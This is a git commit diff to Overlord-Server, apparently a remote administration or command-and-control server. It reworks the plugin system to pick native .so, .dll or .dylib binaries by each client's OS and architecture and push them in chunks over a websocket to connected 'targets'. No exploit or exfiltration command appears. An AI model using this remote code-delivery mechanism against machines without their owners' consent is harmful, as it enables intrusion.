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new plugin system

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This commit is contained in:
KingKDot
2026-03-19 16:29:26 -05:00
parent 2aeac06b1a
commit cf314b5189
31 changed files with 1942 additions and 517 deletions
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Overlord-Server/src/server/plugin-state-bundle.ts
+71 -28
View File
@@ -72,30 +72,43 @@ export async function ensurePluginExtracted(
const zip = new AdmZip(zipPath);
const entries = zip.getEntries();
let wasmEntry: Buffer | null = null;
let htmlEntry: Buffer | null = null;
let cssEntry: Buffer | null = null;
let jsEntry: Buffer | null = null;
const nativeBinaries: Map<string, Buffer> = new Map();
for (const entry of entries) {
if (entry.isDirectory) continue;
const base = path.basename(entry.entryName);
if (base.toLowerCase().endsWith(".wasm")) {
wasmEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".html")) {
const lower = base.toLowerCase();
if (lower.endsWith(".so") || lower.endsWith(".dll") || lower.endsWith(".dylib")) {
nativeBinaries.set(base, entry.getData());
} else if (lower.endsWith(".html")) {
htmlEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".css")) {
} else if (lower.endsWith(".css")) {
cssEntry = entry.getData();
} else if (base.toLowerCase().endsWith(".js")) {
} else if (lower.endsWith(".js")) {
jsEntry = entry.getData();
}
}
if (!wasmEntry || !htmlEntry || !cssEntry || !jsEntry) {
throw new Error(`Invalid plugin bundle: ${safeId} (missing required files)`);
const hasNative = nativeBinaries.size > 0;
if (!hasNative) {
throw new Error(`Invalid plugin bundle: ${safeId} (no native binaries found)`);
}
if (!htmlEntry || !cssEntry || !jsEntry) {
throw new Error(`Invalid plugin bundle: ${safeId} (missing .html, .css, or .js)`);
}
const binariesMap: Record<string, string> = {};
for (const [filename, data] of nativeBinaries) {
await fs.writeFile(path.join(pluginDir, filename), data);
const platformKey = derivePlatformKey(filename);
if (platformKey) {
binariesMap[platformKey] = filename;
}
}
await fs.writeFile(path.join(pluginDir, `${safeId}.wasm`), wasmEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.html`), htmlEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
@@ -104,7 +117,7 @@ export async function ensurePluginExtracted(
id: safeId,
name: safeId,
version: "1.0.0",
binary: `${safeId}.wasm`,
binaries: binariesMap,
entry: `${safeId}.html`,
assets: {
html: `${safeId}.html`,
@@ -168,7 +181,9 @@ export async function loadPluginBundle(
pluginRoot: string,
pluginId: string,
ensureExtracted: (pluginId: string) => Promise<void>,
): Promise<{ manifest: PluginManifest; wasm: Uint8Array }> {
clientOS?: string,
clientArch?: string,
): Promise<{ manifest: PluginManifest; binary: Uint8Array }> {
await ensureExtracted(pluginId);
const dir = path.join(pluginRoot, pluginId);
const manifestPath = path.join(dir, "manifest.json");
@@ -177,30 +192,46 @@ export async function loadPluginBundle(
manifest.id = manifest.id || pluginId;
manifest.name = manifest.name || pluginId;
const binaryName = manifest.binary || manifest.entry || `${pluginId}.wasm`;
let wasmPath = path.join(dir, binaryName);
try {
await fs.access(wasmPath);
} catch {
const files = await fs.readdir(dir);
const firstWasm = files.find((f) => f.toLowerCase().endsWith(".wasm"));
if (!firstWasm) throw new Error("No .wasm found for plugin " + pluginId);
wasmPath = path.join(dir, firstWasm);
let binaryPath: string | null = null;
if (manifest.binaries && clientOS && clientArch) {
const key = `${clientOS}-${clientArch}`;
const filename = manifest.binaries[key];
if (filename) {
const candidate = path.join(dir, filename);
try {
await fs.access(candidate);
binaryPath = candidate;
} catch {}
}
}
const wasm = new Uint8Array(await fs.readFile(wasmPath));
return { manifest, wasm };
if (!binaryPath) {
const files = await fs.readdir(dir);
const found = files.find(
(f) =>
f.toLowerCase().endsWith(".so") ||
f.toLowerCase().endsWith(".dll") ||
f.toLowerCase().endsWith(".dylib"),
);
if (!found) throw new Error(`No plugin binary found for ${pluginId} (${clientOS}-${clientArch})`);
binaryPath = path.join(dir, found);
}
const binary = new Uint8Array(await fs.readFile(binaryPath));
return { manifest, binary };
}
export function sendPluginBundle(
target: ClientInfo,
bundle: { manifest: PluginManifest; wasm: Uint8Array },
bundle: { manifest: PluginManifest; binary: Uint8Array },
): void {
const chunkSize = 16 * 1024;
const wasm = bundle.wasm;
const totalChunks = Math.ceil(wasm.length / chunkSize);
const data = bundle.binary;
const totalChunks = Math.ceil(data.length / chunkSize);
const initPayload = {
manifest: bundle.manifest,
size: wasm.length,
size: data.length,
chunks: totalChunks,
};
target.ws.send(
@@ -214,8 +245,8 @@ export function sendPluginBundle(
for (let i = 0; i < totalChunks; i++) {
const start = i * chunkSize;
const end = Math.min(start + chunkSize, wasm.length);
const chunk = wasm.slice(start, end);
const end = Math.min(start + chunkSize, data.length);
const chunk = data.slice(start, end);
target.ws.send(
encodeMessage({
type: "command",
@@ -235,3 +266,15 @@ export function sendPluginBundle(
}),
);
}
function derivePlatformKey(filename: string): string {
const match = filename.match(/-(linux|darwin|windows|freebsd)-(amd64|arm64|arm|386)\.(so|dll|dylib)$/i);
if (match) {
return `${match[1].toLowerCase()}-${match[2].toLowerCase()}`;
}
const lower = filename.toLowerCase();
if (lower.endsWith(".dll")) return "windows-amd64";
if (lower.endsWith(".dylib")) return "darwin-amd64";
if (lower.endsWith(".so")) return "linux-amd64";
return "";
}
Overlord-Server/src/server/routes/plugin-routes.ts
+4 -4
View File
@@ -14,7 +14,7 @@ type PluginManifest = {
type PluginBundle = {
manifest: PluginManifest;
wasm: Uint8Array;
binary: Uint8Array;
};
type PluginState = {
@@ -32,7 +32,7 @@ type PluginRouteDeps = {
ensurePluginExtracted: (pluginId: string) => Promise<void>;
savePluginState: () => Promise<void>;
listPluginManifests: () => Promise<PluginManifest[]>;
loadPluginBundle: (pluginId: string) => Promise<PluginBundle>;
loadPluginBundle: (pluginId: string, clientOS?: string, clientArch?: string) => Promise<PluginBundle>;
sendPluginBundle: (target: any, bundle: PluginBundle) => void;
markPluginLoading: (clientId: string, pluginId: string) => void;
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
@@ -231,7 +231,7 @@ export async function handlePluginRoutes(
return Response.json({ ok: true, loading: true });
}
try {
const bundle = await deps.loadPluginBundle(pluginId);
const bundle = await deps.loadPluginBundle(pluginId, target.os, target.arch);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");
@@ -276,7 +276,7 @@ export async function handlePluginRoutes(
deps.enqueuePluginEvent(targetId, pluginId, event, payload);
if (!deps.isPluginLoading(targetId, pluginId)) {
try {
const bundle = await deps.loadPluginBundle(pluginId);
const bundle = await deps.loadPluginBundle(pluginId, target.os, target.arch);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");